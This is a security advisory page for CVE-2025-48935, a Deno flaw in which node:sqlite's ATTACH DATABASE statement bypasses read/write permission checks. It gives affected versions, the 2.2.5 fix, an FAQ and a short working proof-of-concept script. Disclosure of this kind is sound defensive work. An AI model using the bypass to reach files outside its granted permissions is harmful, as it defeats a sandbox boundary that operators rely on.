CVE-2025-48935: Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Published Jun 4, 2025
·
Updated

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

js // poc.js import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");

$ deno poc.js

Other sources

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using ATTACH DATABASE statement. Version 2.2.5 contains a patch for the issue.

— MITRE

Affected Software

4 affected componentsFixes available
Deno Deno>=2.2.0<2.2.5
rust/deno_node>=0.129.0<0.134.0
0.134.0
rust/deno>=2.2.0<2.2.5
2.2.5
Deno Deno>=2.2.0<2.2.5

Event History

Jun 4, 2025
CVE Published
via MITRE·07:31 PM
Data Sourced
via MITRE·07:31 PM
DescriptionWeakness
Data Sourced
via NVD·08:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·09:22 PM
Data Sourced
via GitHub·09:22 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-48935?

CVE-2025-48935 is considered a high severity vulnerability due to the potential bypass of permission checks.

2

How do I fix CVE-2025-48935?

To fix CVE-2025-48935, upgrade Deno to version 2.2.5 or later.

3

What versions are affected by CVE-2025-48935?

CVE-2025-48935 affects Deno versions from 2.2.0 to 2.2.4.

4

What impact does CVE-2025-48935 have on Deno?

CVE-2025-48935 allows attackers to bypass read/write database permission checks, posing a security risk.

5

What is the main cause of CVE-2025-48935?

The main cause of CVE-2025-48935 is the improper handling of the `ATTACH DATABASE` statement in Deno.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203